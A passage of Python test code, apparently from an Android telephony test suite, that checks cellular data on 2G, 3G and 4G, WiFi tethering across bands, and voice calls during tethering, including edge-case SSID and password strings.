verify_http_connection(self.log, self.android_devices[0])): self.log.error("Data not available on cell") return False try: self.log.info("Step2 Initiate call and accept.") if call_direction == DIRECTION_MOBILE_ORIGINATED: ad_caller = self.android_devices[0] ad_callee = self.android_devices[1] else: ad_caller = self.android_devices[1] ad_callee = self.android_devices[0] if not call_setup_teardown(self.log, ad_caller, ad_callee, None, None, None): self.log.error("Failed to Establish {} Voice Call".format( call_direction)) return False if simultaneous_voice_data: self.log.info("Step3 Verify internet.") time.sleep(WAIT_TIME_ANDROID_STATE_SETTLING) if not verify_http_connection(self.log, self.android_devices[0]): raise _LocalException("Internet Inaccessible when Enabled") self.log.info("Step4 Turn off data and verify not connected.") self.android_devices[0].droid.telephonyToggleDataConnection(False) if not wait_for_cell_data_connection( self.log, self.android_devices[0], False): raise _LocalException("Failed to Disable Cellular Data") if verify_http_connection(self.log, self.android_devices[0]): raise _LocalException("Internet Accessible when Disabled") self.log.info("Step5 Re-enable data.") self.android_devices[0].droid.telephonyToggleDataConnection(True) if not wait_for_cell_data_connection( self.log, self.android_devices[0], True): raise _LocalException("Failed to Re-Enable Cellular Data") if not verify_http_connection(self.log, self.android_devices[0]): raise _LocalException("Internet Inaccessible when Enabled") else: self.log.info("Step3 Verify no Internet and skip step 4-5.") if verify_http_connection(self.log, self.android_devices[0], retry=0): raise _LocalException("Internet Accessible.") self.log.info("Step6 Verify phones still in call and Hang up.") if not verify_incall_state( self.log, [self.android_devices[0], self.android_devices[1]], True): return False if not hangup_call(self.log, self.android_devices[0]): self.log.error("Failed to hang up call") return False if not verify_http_connection(self.log, self.android_devices[0]): raise _LocalException("Internet Inaccessible when Enabled") except _LocalException as e: self.log.error(str(e)) try: hangup_call(self.log, self.android_devices[0]) self.android_devices[0].droid.telephonyToggleDataConnection( True) except Exception: pass return False return True @TelephonyBaseTest.tel_test_wrap def test_2g(self): """Test data connection in 2G. Turn off airplane mode, disable WiFi, enable Cellular Data. Ensure phone data generation is 2G. Verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. Returns: True if success. False if failed. """ WifiUtils.wifi_reset(self.log, self.android_devices[0]) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) return data_connectivity_single_bearer(self.log, self.android_devices[0], RAT_2G) @TelephonyBaseTest.tel_test_wrap def test_2g_wifi_not_associated(self): """Test data connection in 2G. Turn off airplane mode, enable WiFi (but not connected), enable Cellular Data. Ensure phone data generation is 2G. Verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. Returns: True if success. False if failed. """ WifiUtils.wifi_reset(self.log, self.android_devices[0]) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], True) return data_connectivity_single_bearer(self.log, self.android_devices[0], RAT_2G) @TelephonyBaseTest.tel_test_wrap def test_3g(self): """Test data connection in 3G. Turn off airplane mode, disable WiFi, enable Cellular Data. Ensure phone data generation is 3G. Verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. Returns: True if success. False if failed. """ WifiUtils.wifi_reset(self.log, self.android_devices[0]) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) return data_connectivity_single_bearer(self.log, self.android_devices[0], RAT_3G) @TelephonyBaseTest.tel_test_wrap def test_3g_wifi_not_associated(self): """Test data connection in 3G. Turn off airplane mode, enable WiFi (but not connected), enable Cellular Data. Ensure phone data generation is 3G. Verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. Returns: True if success. False if failed. """ WifiUtils.wifi_reset(self.log, self.android_devices[0]) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], True) return data_connectivity_single_bearer(self.log, self.android_devices[0], RAT_3G) @TelephonyBaseTest.tel_test_wrap def test_4g(self): """Test data connection in 4g. Turn off airplane mode, disable WiFi, enable Cellular Data. Ensure phone data generation is 4g. Verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. Returns: True if success. False if failed. """ WifiUtils.wifi_reset(self.log, self.android_devices[0]) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) return data_connectivity_single_bearer(self.log, self.android_devices[0], RAT_4G) @TelephonyBaseTest.tel_test_wrap def test_4g_wifi_not_associated(self): """Test data connection in 4g. Turn off airplane mode, enable WiFi (but not connected), enable Cellular Data. Ensure phone data generation is 4g. Verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. Returns: True if success. False if failed. """ WifiUtils.wifi_reset(self.log, self.android_devices[0]) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], True) return data_connectivity_single_bearer(self.log, self.android_devices[0], RAT_4G) @TelephonyBaseTest.tel_test_wrap def test_3g_stress(self): """Stress Test data connection in 3G. This is a stress test for "test_3g". Default MINIMUM_SUCCESS_RATE is set to 95%. Returns: True stress pass rate is higher than MINIMUM_SUCCESS_RATE. False otherwise. """ ads = self.android_devices MINIMUM_SUCCESS_RATE = .95 success_count = 0 fail_count = 0 for i in range(1, self.stress_test_number + 1): ensure_phones_default_state( self.log, [self.android_devices[0], self.android_devices[1]]) WifiUtils.wifi_reset(self.log, self.android_devices[0]) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) if data_connectivity_single_bearer( self.log, self.android_devices[0], RAT_3G): success_count += 1 result_str = "Succeeded" else: fail_count += 1 result_str = "Failed" self.log.info("Iteration {} {}. Current: {} / {} passed.".format( i, result_str, success_count, self.stress_test_number)) self.log.info("Final Count - Success: {}, Failure: {} - {}%".format( success_count, fail_count, str(100 * success_count / ( success_count + fail_count)))) if success_count / ( success_count + fail_count) >= MINIMUM_SUCCESS_RATE: return True else: return False @TelephonyBaseTest.tel_test_wrap def test_4g_stress(self): """Stress Test data connection in 4g. This is a stress test for "test_4g". Default MINIMUM_SUCCESS_RATE is set to 95%. Returns: True stress pass rate is higher than MINIMUM_SUCCESS_RATE. False otherwise. """ ads = self.android_devices MINIMUM_SUCCESS_RATE = .95 success_count = 0 fail_count = 0 for i in range(1, self.stress_test_number + 1): ensure_phones_default_state( self.log, [self.android_devices[0], self.android_devices[1]]) WifiUtils.wifi_reset(self.log, self.android_devices[0]) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) if data_connectivity_single_bearer( self.log, self.android_devices[0], RAT_4G): success_count += 1 result_str = "Succeeded" else: fail_count += 1 result_str = "Failed" self.log.info("Iteration {} {}. Current: {} / {} passed.".format( i, result_str, success_count, self.stress_test_number)) self.log.info("Final Count - Success: {}, Failure: {} - {}%".format( success_count, fail_count, str(100 * success_count / ( success_count + fail_count)))) if success_count / ( success_count + fail_count) >= MINIMUM_SUCCESS_RATE: return True else: return False def _test_setup_tethering(self, ads, network_generation=None): """Pre setup steps for WiFi tethering test. Ensure all ads are idle. Ensure tethering provider: turn off APM, turn off WiFI, turn on Data. have Internet connection, no active ongoing WiFi tethering. Returns: True if success. False if failed. """ ensure_phones_idle(self.log, ads) if network_generation is not None: if not ensure_network_generation_for_subscription(self.log, self.android_devices[0], self.android_devices[0].droid.subscriptionGetDefaultDataSubId(), network_generation, MAX_WAIT_TIME_NW_SELECTION, NETWORK_SERVICE_DATA): self.log.error("Device failed to reselect in {}s.".format( MAX_WAIT_TIME_NW_SELECTION)) return False self.log.info("Airplane Off, Wifi Off, Data On.") toggle_airplane_mode(self.log, self.android_devices[0], False) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) self.android_devices[0].droid.telephonyToggleDataConnection(True) if not wait_for_cell_data_connection(self.log, self.android_devices[0], True): self.log.error("Failed to enable data connection.") return False self.log.info("Verify internet") if not verify_http_connection(self.log, self.android_devices[0]): self.log.error("Data not available on cell.") return False # Turn off active SoftAP if any. if ads[0].droid.wifiIsApEnabled(): WifiUtils.stop_wifi_tethering(self.log, ads[0]) return True @TelephonyBaseTest.tel_test_wrap def test_tethering_4g_to_2gwifi(self): """WiFi Tethering test: LTE to WiFI 2.4G Tethering 1. DUT in LTE mode, idle. 2. DUT start 2.4G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Verify 4G Internet access failed.") return False return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=10) @TelephonyBaseTest.tel_test_wrap def test_tethering_4g_to_5gwifi(self): """WiFi Tethering test: LTE to WiFI 5G Tethering 1. DUT in LTE mode, idle. 2. DUT start 5G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Verify 4G Internet access failed.") return False return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_5G, check_interval=10, check_iteration=10) @TelephonyBaseTest.tel_test_wrap def test_tethering_3g_to_2gwifi(self): """WiFi Tethering test: 3G to WiFI 2.4G Tethering 1. DUT in 3G mode, idle. 2. DUT start 2.4G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_3G): self.log.error("Verify 3G Internet access failed.") return False return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=10) @TelephonyBaseTest.tel_test_wrap def test_tethering_3g_to_5gwifi(self): """WiFi Tethering test: 3G to WiFI 5G Tethering 1. DUT in 3G mode, idle. 2. DUT start 5G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_3G): self.log.error("Verify 3G Internet access failed.") return False return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_5G, check_interval=10, check_iteration=10) @TelephonyBaseTest.tel_test_wrap def test_tethering_4g_to_2gwifi_2clients(self): """WiFi Tethering test: LTE to WiFI 2.4G Tethering, with multiple clients 1. DUT in 3G mode, idle. 2. DUT start 5G WiFi Tethering 3. PhoneB and PhoneC disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB PhoneC Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Verify 4G Internet access failed.") return False return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1], ads[2]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=10) @TelephonyBaseTest.tel_test_wrap def test_tethering_2g_to_2gwifi(self): """WiFi Tethering test: 2G to WiFI 2.4G Tethering 1. DUT in 2G mode, idle. 2. DUT start 2.4G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_2G): self.log.error("Verify 2G Internet access failed.") return False return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=10) @TelephonyBaseTest.tel_test_wrap def test_tethering_2g_to_5gwifi(self): """WiFi Tethering test: 2G to WiFI 5G Tethering 1. DUT in 2G mode, idle. 2. DUT start 5G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_2G): self.log.error("Verify 2G Internet access failed.") return False return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_5G, check_interval=10, check_iteration=10) @TelephonyBaseTest.tel_test_wrap def test_disable_wifi_tethering_resume_connected_wifi(self): """WiFi Tethering test: WiFI connected to 2.4G network, start (LTE) 2.4G WiFi tethering, then stop tethering 1. DUT in LTE mode, idle. WiFi connected to 2.4G Network 2. DUT start 2.4G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB 5. Disable WiFi Tethering on DUT. 6. Verify DUT automatically connect to previous WiFI network Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Verify 4G Internet access failed.") return False self.log.info("Connect WiFi.") if not ensure_wifi_connected(self.log, ads[0], self.wifi_network_ssid, self.wifi_network_pass): self.log.error("WiFi connect fail.") return False self.log.info("Start WiFi Tethering.") if not wifi_tethering_setup_teardown(self.log, ads[0], [ads[1]], check_interval=10, check_iteration=2): self.log.error("WiFi Tethering failed.") return False if (not wait_for_wifi_data_connection(self.log, ads[0], True) or not verify_http_connection(self.log, ads[0])): self.log.error("Provider data did not return to Wifi") return False return True @TelephonyBaseTest.tel_test_wrap def test_toggle_data_during_active_wifi_tethering(self): """WiFi Tethering test: Toggle Data during active WiFi Tethering 1. DUT in LTE mode, idle. 2. DUT start 2.4G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB 5. Disable Data on DUT, verify PhoneB still connected to WiFi, but no Internet access. 6. Enable Data on DUT, verify PhoneB still connected to WiFi and have Internet access. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Verify 4G Internet access failed.") return False try: ssid = rand_ascii_str(10) if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False, ssid=ssid): self.log.error("WiFi Tethering failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False self.log.info( "Disable Data on Provider, verify no data on Client.") ads[0].droid.telephonyToggleDataConnection(False) time.sleep(WAIT_TIME_DATA_STATUS_CHANGE_DURING_WIFI_TETHERING) if verify_http_connection(self.log, ads[0]): self.log.error("Disable data on provider failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False wifi_info = ads[1].droid.wifiGetConnectionInfo() if wifi_info[WifiEnums.SSID_KEY] != ssid: self.log.error("WiFi error. Info: {}".format(wifi_info)) return False if verify_http_connection(self.log, ads[1]): self.log.error("Client should not have Internet connection.") return False self.log.info( "Enable Data on Provider, verify data available on Client.") ads[0].droid.telephonyToggleDataConnection(True) time.sleep(WAIT_TIME_DATA_STATUS_CHANGE_DURING_WIFI_TETHERING) if not verify_http_connection(self.log, ads[0]): self.log.error("Enable data on provider failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False wifi_info = ads[1].droid.wifiGetConnectionInfo() if wifi_info[WifiEnums.SSID_KEY] != ssid: self.log.error("WiFi error. Info: {}".format(wifi_info)) return False if not verify_http_connection(self.log, ads[1]): self.log.error("Client have no Internet connection!") return False finally: if not wifi_tethering_cleanup(self.log, ads[0], [ads[1]]): return False return True # Invalid Live Test. Can't rely on the result of this test with live network. # Network may decide not to change the RAT when data conenction is active. @TelephonyBaseTest.tel_test_wrap def test_change_rat_during_active_wifi_tethering_lte_to_3g(self): """WiFi Tethering test: Change Cellular Data RAT generation from LTE to 3G, during active WiFi Tethering. 1. DUT in LTE mode, idle. 2. DUT start 2.4G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verily Internet access on DUT and PhoneB 5. Change DUT Cellular Data RAT generation from LTE to 3G. 6. Verify both DUT and PhoneB have Internet access. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Verify 4G Internet access failed.") return False try: if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False): self.log.error("WiFi Tethering failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False self.log.info("Provider change RAT from LTE to 3G.") if not ensure_network_generation( self.log, ads[0], RAT_3G, voice_or_data=NETWORK_SERVICE_DATA, toggle_apm_after_setting=False): self.log.error("Provider failed to reselect to 3G.") return False time.sleep(WAIT_TIME_DATA_STATUS_CHANGE_DURING_WIFI_TETHERING) if not verify_http_connection(self.log, ads[0]): self.log.error("Data not available on Provider.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False if not tethering_check_internet_connection(self.log, ads[0], [ads[1]], 10, 5): return False finally: if not wifi_tethering_cleanup(self.log, ads[0], [ads[1]]): return False return True # Invalid Live Test. Can't rely on the result of this test with live network. # Network may decide not to change the RAT when data conenction is active. @TelephonyBaseTest.tel_test_wrap def test_change_rat_during_active_wifi_tethering_3g_to_lte(self): """WiFi Tethering test: Change Cellular Data RAT generation from 3G to LTE, during active WiFi Tethering. 1. DUT in 3G mode, idle. 2. DUT start 2.4G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verily Internet access on DUT and PhoneB 5. Change DUT Cellular Data RAT generation from 3G to LTE. 6. Verify both DUT and PhoneB have Internet access. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_3G): self.log.error("Verify 3G Internet access failed.") return False try: if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False): self.log.error("WiFi Tethering failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False self.log.info("Provider change RAT from 3G to 4G.") if not ensure_network_generation( self.log, ads[0], RAT_4G, voice_or_data=NETWORK_SERVICE_DATA, toggle_apm_after_setting=False): self.log.error("Provider failed to reselect to 4G.") return False time.sleep(WAIT_TIME_DATA_STATUS_CHANGE_DURING_WIFI_TETHERING) if not verify_http_connection(self.log, ads[0]): self.log.error("Data not available on Provider.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False if not tethering_check_internet_connection(self.log, ads[0], [ads[1]], 10, 5): return False finally: if not wifi_tethering_cleanup(self.log, ads[0], [ads[1]]): return False return True @TelephonyBaseTest.tel_test_wrap def test_toggle_apm_during_active_wifi_tethering(self): """WiFi Tethering test: Toggle APM during active WiFi Tethering 1. DUT in LTE mode, idle. 2. DUT start 2.4G WiFi Tethering 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB 5. DUT toggle APM on, verify WiFi tethering stopped, PhoneB lost WiFi connection. 6. DUT toggle APM off, verify PhoneA have cellular data and Internet connection. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Verify 4G Internet access failed.") return False try: ssid = rand_ascii_str(10) if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False, ssid=ssid): self.log.error("WiFi Tethering failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False self.log.info( "Provider turn on APM, verify no wifi/data on Client.") if not toggle_airplane_mode(self.log, ads[0], True): self.log.error("Provider turn on APM failed.") return False time.sleep(WAIT_TIME_DATA_STATUS_CHANGE_DURING_WIFI_TETHERING) if ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering not stopped.") return False if verify_http_connection(self.log, ads[1]): self.log.error("Client should not have Internet connection.") return False wifi_info = ads[1].droid.wifiGetConnectionInfo() self.log.info("WiFi Info: {}".format(wifi_info)) if wifi_info[WifiEnums.SSID_KEY] == ssid: self.log.error( "WiFi error. WiFi should not be connected.".format( wifi_info)) return False self.log.info("Provider turn off APM.") if not toggle_airplane_mode(self.log, ads[0], False): self.log.error("Provider turn on APM failed.") return False time.sleep(WAIT_TIME_DATA_STATUS_CHANGE_DURING_WIFI_TETHERING) if ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering should not on.") return False if not verify_http_connection(self.log, ads[0]): self.log.error("Provider should have Internet connection.") return False finally: ads[1].droid.telephonyToggleDataConnection(True) WifiUtils.wifi_reset(self.log, ads[1]) return True @TelephonyBaseTest.tel_test_wrap def test_tethering_entitlement_check(self): """Tethering Entitlement Check Test Get tethering entitlement check result. Returns: True if entitlement check returns True. """ ad = self.android_devices[0] result = ad.droid.carrierConfigIsTetheringModeAllowed( TETHERING_MODE_WIFI, MAX_WAIT_TIME_TETHERING_ENTITLEMENT_CHECK) self.log.info("{} tethering entitlement check result: {}.".format( ad.serial, result)) return result @TelephonyBaseTest.tel_test_wrap def test_tethering_4g_to_2gwifi_stress(self): """Stress Test LTE to WiFI 2.4G Tethering This is a stress test for "test_tethering_4g_to_2gwifi". Default MINIMUM_SUCCESS_RATE is set to 95%. Returns: True stress pass rate is higher than MINIMUM_SUCCESS_RATE. False otherwise. """ MINIMUM_SUCCESS_RATE = .95 success_count = 0 fail_count = 0 for i in range(1, self.stress_test_number + 1): ensure_phones_default_state( self.log, [self.android_devices[0], self.android_devices[1]]) if self.test_tethering_4g_to_2gwifi(): success_count += 1 result_str = "Succeeded" else: fail_count += 1 result_str = "Failed" self.log.info("Iteration {} {}. Current: {} / {} passed.".format( i, result_str, success_count, self.stress_test_number)) self.log.info("Final Count - Success: {}, Failure: {} - {}%".format( success_count, fail_count, str(100 * success_count / ( success_count + fail_count)))) if success_count / ( success_count + fail_count) >= MINIMUM_SUCCESS_RATE: return True else: return False @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_ssid_quotes(self): """WiFi Tethering test: SSID name have quotes. 1. Set SSID name have double quotes. 2. Start LTE to WiFi (2.4G) tethering. 3. Verify tethering. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads): self.log.error("Verify Internet access failed.") return False ssid = "\"" + rand_ascii_str(10) + "\"" self.log.info("Starting WiFi Tethering test with ssid: {}".format( ssid)) return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=10, ssid=ssid) @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_password_escaping_characters(self): """WiFi Tethering test: password have escaping characters. 1. Set password have escaping characters. e.g.: '"DQ=/{Yqq;M=(^_3HzRvhOiL8S%`]w&l<Qp8qH)bs<4E9v_q=HLr^)}w$blA0Kg' 2. Start LTE to WiFi (2.4G) tethering. 3. Verify tethering. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads): self.log.error("Verify Internet access failed.") return False password = '"DQ=/{Yqq;M=(^_3HzRvhOiL8S%`]w&l<Qp8qH)bs<4E9v_q=HLr^)}w$blA0Kg' self.log.info("Starting WiFi Tethering test with password: {}".format( password)) return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=10, password=password) def _test_start_wifi_tethering_connect_teardown(self, ad_host, ad_client, ssid, password): """Private test util for WiFi Tethering. 1. Host start WiFi tethering. 2. Client connect to tethered WiFi. 3. Host tear down WiFi tethering. Args: ad_host: android device object for host ad_client: android device object for client ssid: WiFi tethering ssid password: WiFi tethering password Returns: True if no error happen, otherwise False. """ result = True # Turn off active SoftAP if any. if ad_host.droid.wifiIsApEnabled(): WifiUtils.stop_wifi_tethering(self.log, ad_host) time.sleep(WAIT_TIME_ANDROID_STATE_SETTLING) if not WifiUtils.start_wifi_tethering(self.log, ad_host, ssid, password, WifiUtils.WIFI_CONFIG_APBAND_2G): self.log.error("Provider start WiFi tethering failed.") result = False time.sleep(WAIT_TIME_ANDROID_STATE_SETTLING) if not ensure_wifi_connected(self.log, ad_client, ssid, password): self.log.error("Client connect to WiFi failed.") result = False if not WifiUtils.wifi_reset(self.log, ad_client): self.log.error("Reset client WiFi failed. {}".format( ad_client.serial)) result = False if not WifiUtils.stop_wifi_tethering(self.log, ad_host): self.log.error("Provider strop WiFi tethering failed.") result = False return result @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_ssid(self): """WiFi Tethering test: start WiFi tethering with all kinds of SSIDs. For each listed SSID, start WiFi tethering on DUT, client connect WiFi, then tear down WiFi tethering. Returns: True if WiFi tethering succeed on all SSIDs. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Setup Failed.") return False ssid_list = [" !\"#$%&'()*+,-./0123456789:;<=>?", "@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_", "`abcdefghijklmnopqrstuvwxyz{|}~", " a ", "!b!", "#c#", "$d$", "%e%", "&f&", "'g'", "(h(", ")i)", "*j*", "+k+", "-l-", ".m.", "/n/", "_", " !\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}", "\u0644\u062c\u0648\u062c", "\u8c37\u6b4c", "\uad6c\uae00" "\u30b0\u30fc\u30eb", "\u0417\u0434\u0440\u0430\u0432\u0441\u0442\u0443\u0439"] fail_list = {} for ssid in ssid_list: password = rand_ascii_str(8) self.log.info("SSID: <{}>, Password: <{}>".format(ssid, password)) if not self._test_start_wifi_tethering_connect_teardown( ads[0], ads[1], ssid, password): fail_list[ssid] = password if (len(fail_list) > 0): self.log.error("Failed cases: {}".format(fail_list)) return False else: return True @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_password(self): """WiFi Tethering test: start WiFi tethering with all kinds of passwords. For each listed password, start WiFi tethering on DUT, client connect WiFi, then tear down WiFi tethering. Returns: True if WiFi tethering succeed on all passwords. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, RAT_4G): self.log.error("Setup Failed.") return False password_list = [ " !\"#$%&'()*+,-./0123456789:;<=>?", "@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_", "`abcdefghijklmnopqrstuvwxyz{|}~", " !\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}", "abcdefgh", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!", " a12345 ", "!b12345!", "#c12345#", "$d12345$", "%e12345%", "&f12345&", "'g12345'", "(h12345(", ")i12345)", "*j12345*", "+k12345+", "-l12345-", ".m12345.", "/n12345/" ] fail_list = {} for password in password_list: result = True ssid = rand_ascii_str(8) self.log.info("SSID: <{}>, Password: <{}>".format(ssid, password)) if not self._test_start_wifi_tethering_connect_teardown( ads[0], ads[1], ssid, password): fail_list[ssid] = password if (len(fail_list) > 0): self.log.error("Failed cases: {}".format(fail_list)) return False else: return True def _test_tethering_wifi_and_voice_call( self, provider, client, provider_data_rat, provider_setup_func, provider_in_call_check_func): if not self._test_setup_tethering( [provider, client], provider_data_rat): self.log.error("Verify 4G Internet access failed.") return False tasks = [(provider_setup_func, (self.log, provider)), (phone_setup_voice_general, (self.log, client))] if not multithread_func(self.log, tasks): self.log.error("Phone Failed to Set Up VoLTE.") return False try: self.log.info("1. Setup WiFi Tethering.") if not wifi_tethering_setup_teardown( self.log, provider, [client], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False): self.log.error("WiFi Tethering failed.") return False self.log.info("2. Make outgoing call.") if not call_setup_teardown( self.log, provider, client, ad_hangup=None, verify_caller_func=provider_in_call_check_func): self.log.error("Setup Call Failed.") return False self.log.info("3. Verify data.") if not verify_http_connection(self.log, provider): self.log.error("Provider have no Internet access.") if not verify_http_connection(self.log, client): self.log.error("Client have no Internet access.") hangup_call(self.log, provider) time.sleep(WAIT_TIME_BETWEEN_REG_AND_CALL) self.log.info("4. Make incoming call.") if not call_setup_teardown( self.log, client, provider, ad_hangup=None, verify_callee_func=provider_in_call_check_func): self.log.error("Setup Call Failed.") return False self.log.info("5. Verify data.") if not verify_http_connection(self.log, provider): self.log.error("Provider have no Internet access.") if not verify_http_connection(self.log, client): self.log.error("Client have no Internet access.") hangup_call(self.log, provider) finally: if not wifi_tethering_cleanup(self.log, provider, [client]): return False return True @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_volte_call(self): """WiFi Tethering test: VoLTE call during WiFi tethering 1. Start LTE to WiFi (2.4G) tethering. 2. Verify tethering. 3. Make outgoing VoLTE call on tethering provider. 4. Verify tethering still works. 5. Make incoming VoLTE call on tethering provider. 6. Verify tethering still works. Returns: True if success. False if failed. """ return self._test_tethering_wifi_and_voice_call( self.android_devices[0], self.android_devices[1], RAT_4G, phone_setup_volte, is_phone_in_call_volte) @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_csfb_call(self): """WiFi Tethering test: CSFB call during WiFi tethering 1. Start LTE to WiFi (2.4G) tethering. 2. Verify tethering. 3. Make outgoing CSFB call on tethering provider. 4. Verify tethering still works. 5. Make incoming CSFB call on tethering provider. 6. Verify tethering still works. Returns: True if success. False if failed. """ return self._test_tethering_wifi_and_voice_call( self.android_devices[0], self.android_devices[1], RAT_4G, phone_setup_csfb, is_phone_in_call_csfb) @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_3g_call(self): """WiFi Tethering test: 3G call during WiFi tethering 1. Start 3G to WiFi (2.4G) tethering. 2. Verify tethering. 3. Make outgoing CS call on tethering provider. 4. Verify tethering still works. 5. Make incoming CS call on tethering provider. 6. Verify tethering still works. Returns: True if success. False if failed. """ return self._test_tethering_wifi_and_voice_call( self.android_devices[0], 